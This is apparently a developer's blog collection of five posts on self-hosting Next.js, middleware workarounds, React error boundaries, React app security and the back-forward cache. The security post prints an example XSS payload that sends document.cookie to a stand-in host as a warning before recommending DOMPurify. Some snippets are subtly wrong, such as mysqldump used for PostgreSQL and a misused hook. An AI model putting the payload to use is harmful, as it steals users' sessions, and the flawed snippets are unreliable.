
> TL;DR: How to self-host Next.js (using the page router) for 5k users per day

- OS: Ubuntu (latest LTS version)
- CDN: Cloudflare
- Deploy: Docker
- Reverse proxy: NGINX
- Database: PostgreSQL
- Monitoring: New Relic, Sentry
- Logging: Telegram
- Backup: Cloudflare R2
- Secure: UFW, Fail2Ban, VPS Firewall

# Why did I write this blog?

I'm a big fan of Next.js, and I'm also a big fan of self-hosting. I learned so much when I self-hosted my app on a VPS instead of just hitting the deploy button on Vercel.

When do you need to self-host your Next.js app?

- You want to have full control over your app.
- Your app consumes a huge amount of resources and bandwidth.
- You want to learn more about DevOps.
- You want to host a database on the same VPS.

Other blogs may guide you on how to set up your Next.js app on a VPS, but I want to walk you through setting up your Next.js app end-to-end—from deploying it and auto-deploying it to securing and scaling it.

We will make it work > optimize it > secure it > make it fast > make it stable.

Let's go 🏃‍➡️

# 1. Make it work

## Pick a provider

From personal experience, I recommend these providers as they offer the best price/performance ratio:

- [DigitalOcean](https://m.do.co/c/d30271821d1e): Great UI, super stable, free DDoS protection.
- [Linode](https://www.linode.com/): Great price, great performance, free DDoS protection.
- [Vultr](https://www.vultr.com/): Great price, great performance, DDoS protection for $10/month.

I would recommend DigitalOcean because it's the easiest to use, stable, and its free DDoS protection is a big plus. Additionally, it provides many other services like managed databases, app platforms, functions, etc. Everything comes with a great UI and is very user friendly.

For one Next.js app plus one database, a $6 plan with 1 vCPU, 1GB RAM, and 25GB SSD storage should be enough.

You can use my referral link to get $200 credit (60 days) for free: [DigitalOcean](https://m.do.co/c/d30271821d1e)

<Image src="/006/004.jpg" alt="DigitalOcean" />

## Set up your VPS

Now, let's set up your VPS. This is my recommended setup:

- Docker: For easy deployment and management.
- NGINX: Reverse proxy.
- PostgreSQL: Database.
- UFW, Fail2Ban: For security.
- VPS Firewall: Use your provider's firewall and, if using Cloudflare, allow only Cloudflare IPs.

You may wonder why we even need Docker for a single, small Next.js app. Isn't that overkill?  
But hear me out—even though you might have a $5 VPS, it won't appreciate you when building the black hole of dependencies in your app. The build step consumes a huge amount of resources, and many times my build step failed due to [JavaScript heap out of memory](https://github.com/vercel/next.js/discussions/12165).

Check out this script [deploy.sh](https://github.com/leerob/next-self-host/blob/main/deploy.sh) to automate the setup process of your server.

## Run your Next.js app

For reference, I think the best template is [Leerob's template](https://github.com/leerob/next-self-host).

<Image src="/006/002.jpg" alt="Deploy" />

For auto-deployment, it's better to have GitHub Actions build your app, dockerize it, push the image to a private registry, and then on your VPS, you simply pull the image and run it. Next.js's build step is a nightmare for a $5 VPS.

This is my GitHub Actions workflow for auto-deploying each time I push to the `main` branch. It builds the app, dockerizes it, pushes the image to GitHub Package Registry, then SSH's into your VPS to pull the image and run it.

<Image src="/006/001.jpg" alt="Deploy" />

You will need to set up the following secrets in your GitHub repository:

- `GITHUB_TOKEN`: (Automatically generated by GitHub)
- `SSH_HOST`: Your VPS IP address.
- `SSH_USERNAME`: Your VPS username.
- `SSH_PORT`: Your VPS port.
- `SSH_PRIVATE_KEY`: Your VPS private key.

```yaml
name: Build and Deploy to VPS

on:
  push:
    branches:
      - main

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest

    permissions:
      contents: read
      packages: write

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Log in to the Container registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata (tags, labels) for Docker
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=ref,event=branch

      - name: Build and push Docker image
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}

      - name: SSH into VPS then pull image and run
        id: deploy
        uses: appleboy/ssh-action@v1.0.0
        env:
          IMAGE_TAG: ${{ steps.meta.outputs.tags }}
          GITHUB_USERNAME: ${{ github.actor }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        with:
          host: ${{ secrets.SSH_HOST }}
          username: ${{ secrets.SSH_USERNAME }}
          key: ${{ secrets.SSH_PRIVATE_KEY }}
          port: ${{ secrets.SSH_PORT }}
          envs: GITHUB_USERNAME, GITHUB_TOKEN, IMAGE_TAG
          script: |
            echo $GITHUB_TOKEN | docker login ghcr.io -u $GITHUB_USERNAME --password-stdin
            docker pull ghcr.io/$GITHUB_USERNAME/$IMAGE_NAME:$IMAGE_TAG
            docker stop $(docker ps -a -q)
            docker system prune -f
            docker run --name next-app -dit ghcr.io/$GITHUB_USERNAME/$IMAGE_NAME:$IMAGE_TAG
```

# 2. Make it optimize

## Avoid Unnecessary Requests Hitting Your Server

To reduce the load on your VPS, you need to make some changes to avoid unnecessary requests.

Next.js (using the page router) has several kinds of requests:
- `/{page_name}`: normal page requests
- `/{static_files}`: static files in the public folder
- `/api/*`: API route requests
- `/_next/image`: optimized images
- `/_next/static`: static files
- `/_next/data`: data fetching

If you proxy your server through Cloudflare (and you should), you can use Cloudflare's CDN to cache your static files and images.

Cloudflare CDN already caches all of your static files (JS, CSS, fonts) by default as their filenames are hashed when the content changes. However, for files in the public folder and for `/_next/image`, you need to set custom cache rules.

- For files in the public folder, you can place them in a specific subfolder (such as `public/__images`) and set a cache rule to cache them for one year. Note that if you want to update them, you **need to use a different name** to avoid cache hits that would show outdated content.
- For `/_next/image`, you can set a cache rule to cache them for one year—either by ignoring the cache-control header or by setting a fixed TTL.

### Avoid Unnecessary Server-Side Rendering

Believe me, SSR consumes a lot of resources, and it is not advisable to use it for every page of your app.

- Use [Static Site Generation (SSG)](https://nextjs.org/docs/pages/building-your-application/data-fetching/static-site-generation) for pages that are static.
- Use [Incremental Static Regeneration (ISR)](https://nextjs.org/docs/pages/building-your-application/data-fetching/incremental-static-regeneration) for pages that can be pre-rendered at build time but also updated on demand.

Mastering ISR can be a little tricky, but it's worth it.

# 3. Make it secure

## Secure your server

### UFW

DigitalOcean has a [great tutorial on how to set up UFW on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu).

**Make sure to allow the SSH port (22) before enabling UFW, or you will not be able to SSH into your server.**

*Note:* When you use Docker, it uses iptables directly and UFW might not work as expected. You may need to use `iptables` to manage port access.

### Fail2Ban

Your server is exposed to the internet, and someone could attempt to brute-force SSH to guess the password. Use [Fail2Ban](https://github.com/fail2ban/fail2ban) to block an IP address after a certain number of failed attempts.

Again, DigitalOcean has a [great tutorial on how to set up Fail2Ban on a Linux server](https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server).

### VPS Firewall

Every VPS provider offers a firewall to control incoming and outgoing traffic.  
If you use Cloudflare, set up the firewall to allow only traffic from Cloudflare's IP addresses ([Cloudflare IPs](https://www.cloudflare.com/ips/)). This prevents direct traffic to your server's IP.

# 4. Make it fast

## Caching

[... additional content about caching ...]

# 5. Make it stable

## Monitoring

### New Relic

New Relic has a generous free tier and is very simple to set up. You can use it to monitor your server, your app, your database, etc.  
I use it to monitor my server and containers.

### Sentry

Sentry has become the de facto standard for error monitoring. It is very easy to set up and free for small usages. However, honestly, the free tier isn't enough for me, so I log errors to Telegram.

## Logging

I log everything in my app using a Telegram bot. It's simple, and many SDKs support it.  
Note that Telegram has a rate limit, so make sure to configure it correctly to avoid hitting that limit. (I use a queue with BullMQ to send messages.)

## Backup

As you run your database on the server, it is essential to back it up.

You can use any S3-compatible storage for backups. I use Cloudflare R2 for mine.

I set up a JavaScript script to run as a cron job to back up my database every day at 12:00 AM UTC. PM2 makes this easy.

```javascript
// backup.js
const fs = require("fs");
const path = require("path");
const dayjs = require("dayjs");
const mysqldump = require("mysqldump");
const { S3Client, PutObjectCommand } = require("@aws-sdk/client-s3");

const s3 = new S3Client({ ... });
const dbConnection = '...';

const FOLDER_PATH = "/path_backup";
const fileName = `${dayjs().format("DD_MM_YYYY_HH_mm_ss")}_backup.sql`;
const backupPath = path.join(FOLDER_PATH, fileName);

if (!fs.existsSync(FOLDER_PATH)) {
  fs.mkdirSync(FOLDER_PATH);
}

console.log(">>> Start backup database ...");

mysqldump({
  connection: dbConnection,
  dumpToFile: backupPath,
})
  .then(async () => {
    const fileSize = fs.statSync(backupPath).size;

    console.log(`>>> Backup file ${backupPath} created successfully`);
    console.log(`>>> Backup file size ${fileSize}`);

    // upload the file to S3
    const fileBuffer = fs.readFileSync(backupPath);

    const command = new PutObjectCommand({
      Bucket: 'your_buck_name',
      Key: fileName,
      Body: fileBuffer,
    });
    await s3.send(command);

    console.log(`✅ Backup file ${fileName} uploaded to S3 successfully`);

    fs.unlinkSync(backupPath);
  })
  .catch((error) => {
    console.log(`❌ Error creating backup file: ${error}`);
  });
```

```bash
pm2 start backup.js --cron "0 0 * * *"
```

Happy coding! 🚀




How to self-host Next.js on a VPS end-to-end

Self-Hosting Next.js on a VPS - End-to-End


> TL;DR: Next.js's middleware only allows access to a limited subset of Node.js APIs. If you need to access the full Node.js API, you must use a workaround or implement a custom server for your Next.js app. 

### Problem
Let's say you want to implement rate limiting for your Next.js app, store data in Redis, and also use the same connection pool for your API route. It seems like a perfect case for using Next.js middleware, right?

```js
// middleware.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  if (rateLimitCheck(ip)) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```

This code seems totally fine—but it won't work. When you run it, you will see an error explaining that middleware cannot handle the Redis import because some API is missing in the middleware runtime. This is because `ioredis` uses some Node.js APIs that Vercel's Edge runtime doesn't support, so there is no way to use `ioredis` in Next.js middleware. That was very frustrating to realize.

Moreover, the community is also complaining about this. One of the most upvoted and reacted-to issues is [here](https://github.com/vercel/next.js/discussions/46722). Next.js's team knows about this but decided to put it deep in their backlog—offering only promises like "we're working on it" and "it's on our roadmap." But trust me, it's been years and nothing has changed.

So, we must save ourselves and find a workaround.

### Workaround

Implement your logic in an API route, and then call that API route from middleware. It may seem like a crazy, anti-pattern solution, but it works.

```ts
// api/rate-limit.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function GET(req: NextApiRequest, res: NextApiResponse) {
  // Get the IP from request query params
  const ip = req.query.ip;
  if (rateLimitCheck(ip)) {
    return res.status(200).json({ success: true });
  }
  return res.status(429).json({ success: false });
}

// middleware.ts
export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  const response = await fetch(`${process.env.YOUR_DOMAIN}/api/rate-limit?ip=${ip}`);
  const data = await response.json();
  if (data.success) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```

### Long term solution

The best solution is to use a full Node.js server for your Next.js app so you can use the entire Node.js API. You can use a [custom server](https://nextjs.org/docs/pages/building-your-application/configuring/custom-server) with Next.js, but you'll need to do some additional work to make it work.

> ⚠️ Custom servers have some undocumented issues. As you know, Vercel does not prioritize supporting custom servers as much as the community would like, so be prepared for some headaches in production when converting from `next start` to `node server.ts`.

Below is an example of a custom server for Next.js with Express:

```ts
// server.ts
import express from 'express';
import next from 'next';
import Redis from 'ioredis';

const app = next({ dev: process.env.NODE_ENV !== 'production' });
const handle = app.getRequestHandler();
// Work normally without the weird edge runtime limitations
const redis = new Redis(process.env.REDIS_URL);

app.prepare().then(() => {
  const server = express();
  server.all('*', (req, res) => {
    if (req.path.startsWith('/api/')) {
      // add your rate limit logic here
      // redis...
    } 
    return handle(req, res);
  });
});
```

Happy coding! 🚀




Next.js Middleware – Full Node.js Access


> TL;DR: React's `ErrorBoundary` only catches errors that occur during the rendering phase—not errors that occur in event handlers. Use the `react-error-boundary` library to handle errors in event handlers.

When I read about React's error boundaries, I thought I could simply wrap my component with an `ErrorBoundary` and every JavaScript error would be caught and handled. It made sense, right?

But that's not how it works. Let's go through a common mistake and learn how to use the `ErrorBoundary` component properly.

### React's ErrorBoundary

Let's say you already have a standard `ErrorBoundary` component like this:

```jsx
class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props);
    this.state = { hasError: false };
  }

  static getDerivedStateFromError(error) {
    return { hasError: true };
  }

  componentDidCatch(error, errorInfo) {
    console.error(error, errorInfo);
  }

  render() {
    if (this.state.hasError) {
      return <h1>Something went wrong.</h1>;
    }

    return this.props.children;
  }
}
```

And then you use it to wrap your component like this:

```jsx
import ErrorBoundary from './ErrorBoundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    try {
      // You would expect that this error will be caught by the ErrorBoundary, right?
      throw new Error('Some error');
    } catch (error) {
      console.error(error);
    }
  };

  return (
    <ErrorBoundary>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

You would expect that when you click the button, the error would be caught by the `ErrorBoundary` and the fallback UI would render, right?

But that's not how it works.

The `ErrorBoundary` only catches errors that occur during the rendering phase—not errors that occur in event handlers such as the `onClick` event in the example above.

The [Legacy React Error Boundaries docs](https://legacy.reactjs.org/docs/error-boundaries.html#introducing-error-boundaries) clearly state that:

> Error boundaries do not catch errors for:
> - Event handlers (learn more)
> - Asynchronous code (e.g. setTimeout or requestAnimationFrame callbacks)
> - Server side rendering
> - Errors thrown in the error boundary itself (rather than its children)

In the example above, `ErrorBoundary` only catches errors if they occur during the rendering phase—for example, in the `setMessage` function:

```jsx
const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    setMessage(() => {
      // => this error will be caught by the error boundary
      message.xyz();
      return message;
    });
  };

  return (
    <ErrorBoundary>
      <h1>{message.xyz()}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

### Solution

If you still want to show the fallback UI when an error occurs in an event handler, a great solution is to use the [react-error-boundary](https://github.com/bvaughn/react-error-boundary) library.

I've been using this library in every React app I've worked on. It's a great library—and its author is a former React core team member.

The `react-error-boundary` library provides many useful features for error handling in React apps, and it's very easy to use.

For example, you can use the `ErrorBoundary` and the `useErrorHandler` hook to handle errors in the event handler:

```jsx
import { ErrorBoundary, useErrorHandler } from 'react-error-boundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');
  const { showBoundary } = useErrorHandler();

  const onClick = () => {
    try {
      message.xyz();
    } catch (error) {
      // => this will show the fallback UI of the nearest ErrorBoundary
      showBoundary(error);
    }
  };

  return (
    <ErrorBoundary FallbackComponent={SomeErrorFallbackUI}>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

That's it—and now you have robust error handling in your React app.

Everything you need for handling errors in a React app is provided by `react-error-boundary`; just be sure to read its documentation and use it properly.

Happy coding! 🚀




React Boundary common mistake and how to use it properly

React Error Boundary Mistake


> TL;DR: 
> - Sanitize HTML content.
> - Keep your dependencies updated.
> - Set the right security HTTP Headers.

Security **is** always a top priority for any application. In this article, we will discuss how to secure your **React** app.

### React's dangerouslySetInnerHTML

When you first start learning **React** and discover that **there** is a prop called `dangerouslySetInnerHTML`, you might wonder, "If it's dangerous, why is it there?" In the end, since you want to render HTML content from a string, you will use it anyway.

```jsx
<div dangerouslySetInnerHTML={{ __html: '<h1>Hello, <b>World</b></h1>' }} />;
```

The result will be:

```html
<div>
  <h1>Hello, <b>World</b></h1>
</div>
```

But as you gain more experience with **React**, you will know that the React team deliberately named it with a `dangerously` prefix to ensure **you know what you are doing**. As always, [the React docs did a great job explaining it](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html).

It is a feature designed to improve the security of your **React** app. However, it is not enough; there are other measures you need to take to protect your app from common web hacking techniques.

### Sanitize HTML Content 

The infamous [XSS attack](https://developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss) allows an attacker to inject malicious scripts into web pages viewed by other users.

In **React**, HTML strings are rendered as plain text by default as an intentional security feature that helps prevent such attacks. But when you need to render HTML from a string, you must use the `dangerouslySetInnerHTML` prop – and then the rest is up to you.

This is a component that renders blog content you fetch from an API:

```jsx
function BlogContent() {
  const [content, setContent] = useState('');

  useEffect(() => {
    fetch('https://someApi.xyz/blog/1')
      .then((response) => response.json()) 
      .then((data) => {
        // data = { content: '<h1>Hello, <b>World</b></h1>' }
        setContent(data.content); 
      });
  }, []);

  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
```

But if a hacker compromises the API and changes the response to:

```json
{ 
  "content": "<script>\n  fetch('https://hacker.com/stealCookies?cookie=' + document.cookie);\n</script>" 
}
```

Now, each time a user visits your blog, the hacker will receive the user's cookies—which might contain sensitive information such as session or authentication tokens!

The solution is that you **must sanitize the HTML content** before rendering it. The most popular library for this purpose is [DOMPurify](https://www.npmjs.com/package/dompurify).

The rendering now looks like this:

```jsx
import DOMPurify from 'dompurify';
// This will do the job
<div dangerouslySetInnerHTML={{ __html: DOMPurify(content) }} />;
```

### Keep Dependencies Updated

You will suprise how many vulnerabilities in your project dependencies. We `npm i <package>` without thinking about the security of the package and that is a gold mine for hackers.

Do you remember annoying github bot notifications about your project dependencies? That's because they are outdated and have known vulnerabilities.

Run `npm audit` to see a list of known vulnerabilities in your project's dependencies. The output will look like this:

<Image src="/003/001.png" />

Ideadly we will fix all of them, but in reality, we really need to focus on upgrade the `Severity: high` vulnerabilities first.

Some vulnerabilities support auto fix by run `npm audit fix`. But some of them need to be fixed manually.

If you're using Github, I highly recommend to not ignore [Dependabot](https://github.blog/2023-01-12-a-smarter-quieter-dependabot/) anymore and let it do the job for you.

### HTTP Security Headers

A lot of attacks can be prevented by setting the right security HTTP Headers.

In NextJS, you can set the security headers by modify `next.config.js`:

```js
module.exports = {
  // ... your other config
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'header-name',
            value: 'header-value',
          },
          // other header object
        ],
      },
    ];
  },
};
```

Or you can use an external library like [next-secure-headers](https://github.com/jagaapple/next-secure-headers) to do the job for you.

Also, their is a awesome tool that you should use to check your site's security headers: [securityheaders.com](https://securityheaders.com/)

<Image src="/003/002.png" />


#### `Content-Security-Policy`

[Content Security Policy (CSP)](https://developer.mozilla.org/docs/Web/HTTP/CSP) is important to guard your application against various security threats such as cross-site scripting (XSS), clickjacking, and other code injection attacks.

NextJS have a [great doc](https://nextjs.org/docs/pages/building-your-application/configuring/content-security-policy) to explain how to set it up and handle some edge case for it. I highly recommend to read it.

#### `X-Frame-Options`

Prevent [ClickJacking](https://owasp.org/www-community/attacks/Clickjacking) by not allowing your site to be embedded in an iframe.

If you don't want your site to be embedded in an iframe at all, you can just set the `X-Frame-Options` header to `DENY`. Otherwise you can set it to `SAMEORIGIN` to if you want to allow your site to be embedded in an iframe from the same origin.

```js
{
  key: 'X-Frame-Options',
  value: 'DENY',
}
```

#### `X-XSS-Protection`

This header enables the [Cross-site scripting (XSS) filter](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection) in the browser. The browser will prevent the page from loading when it detects reflected cross-site scripting attacks.

```js
{
  key: 'X-XSS-Protection',
  value: '1; mode=block',
}
```

### Futher reading

- <Link href="https://github.com/jagaapple/next-secure-headers" />



Improve the security of your ReactJS app by following these guidelines.

Secure your ReactJS app


> TL;DR: If you develop a React component and there is a scenario where the user can navigate to an external URL and then go back to the previous screen, you should be aware of the back-forward cache in the browser. There are two common solutions to handle this issue:
> - Use `ref` to sync the state of the input element with the state of the component.
> - Use `useEffect` to reset the state of the component.

## Issue When Navigating to an External URL and Going Back

Recently, when I implemented a feature in my work project, I encountered a strange issue in my React app.

For context, I have a screen that has a list of checkboxes and a Continue button. Each checkbox is associated with an external URL. When the user clicks on a checkbox, it navigates to the external URL, and the user can use the browser's back button to return to the previous screen. The Continue button is disabled by default and only becomes enabled when the user has checked all the checkboxes.

```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});

  return (
    <div>
      {DATA.map((item) => (
        <div key={item.value}>
          <input
            type="checkbox"
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

The issue is, if the user has already checked all the checkboxes, the Continue button becomes enabled. However, if the user then clicks an external URL and navigates away, upon clicking the back button the user still sees all the checkboxes as checked—but the Continue button remains disabled.

This leads to confusion and a bug, because the user must uncheck and then recheck the checkboxes to re-enable the Continue button.

After investigating, I discovered that the root cause was an inconsistency between the component state (`checkedMapping`) and the browser cache data. When the user navigates back to the previous screen, the component state resets to its initial values, but the browser cache still holds the previous state of the checkboxes (i.e., `checked = true` in the input elements).

You can reproduce this issue on [this page](/examples/BackForwardReactBug).

So, what is the browser cache data called? It's called the *[back-forward cache](https://web.dev/articles/bfcache)*, and it is enabled by default in most modern browsers.

The back-forward cache is a browser optimization that allows the entire page to be cached when the user navigates away, and then restores the page from the cache when the user navigates back, instead of re-rendering the page from scratch. It helps improve both performance and user experience, as the page is restored instantly without any loading time.

Since we manage the UI state in the React component, the back-forward cache will restore the page to its previous state; however, the restored UI does not synchronize with the component's state data.

## Solution

Before looking for a solution, note that React **will not trigger the unmount lifecycle when redirecting to an external URL!** Therefore, any solution that relies on the unmount lifecycle will not work.

The simplest and yet effective solution is to reset the component's state when the user navigates back to the previous screen. We can do this by using `useEffect` with an empty dependency array.

```jsx
useEffect(() => {
  // When the user navigates back to the previous screen, reset the state of the component
  setCheckedMapping({});
}, []);
```

However, this solution has some downsides:
- Resetting the component's state in `useEffect` leads to an additional re-render after the initial render, which is not optimal for performance or user experience.
- Depending on your business requirements, you may need to preserve the component's state when the user navigates back.

If you want to preserve the state of the component, another great solution is to use a `ref` to synchronize the state of the input element with the component's state.

```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});
  const inputRefs = useRef([]);

  useEffect(() => {
    // This useEffect will run when the user navigates back
    // It will sync the input state cached by the browser with the state of the component
    const updateMapping = inputRefs.current.reduce((acc, ref) => {
      acc[ref.value] = ref.checked;
      return acc;
    }, {});
    setCheckedMapping(updateMapping);
  }, []);

  return (
    <div>
      {DATA.map((item, index) => (
        <div key={item.value}>
          <input
            type="checkbox"
            // Store the ref to sync with checkedMapping later
            ref={(ref) => (inputRefs.current[index] = ref)}
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

In my opinion, this is the most flexible and reliable solution for resolving the BFCache issue in a React application. Moreover, it greatly improves the user experience, and users always appreciate a great UX.

It's also good practice to use a `ref` to synchronize the state of the input element with the component's state, as it helps avoid inconsistencies between the UI and the component's state.

This is a win-win solution for both developers and users.

Happy coding! 🚀



How to handle the back-forward cache feature in the browser when developing a React component

Hey! 👋 I'm David Tran
Software Engineer from 🇻🇳

Self-Hosting Next.js on a VPS - End-to-End

Next.js Middleware – Full Node.js Access

React Error Boundary Mistake

Secure your ReactJS app

Back and Forward Cache in React

Hey! 👋 I'm David TranSoftware Engineer from 🇻🇳

Self-Hosting Next.js on a VPS - End-to-End

Next.js Middleware – Full Node.js Access

React Error Boundary Mistake

Secure your ReactJS app

Back and Forward Cache in React

Hey! 👋 I'm David Tran
Software Engineer from 🇻🇳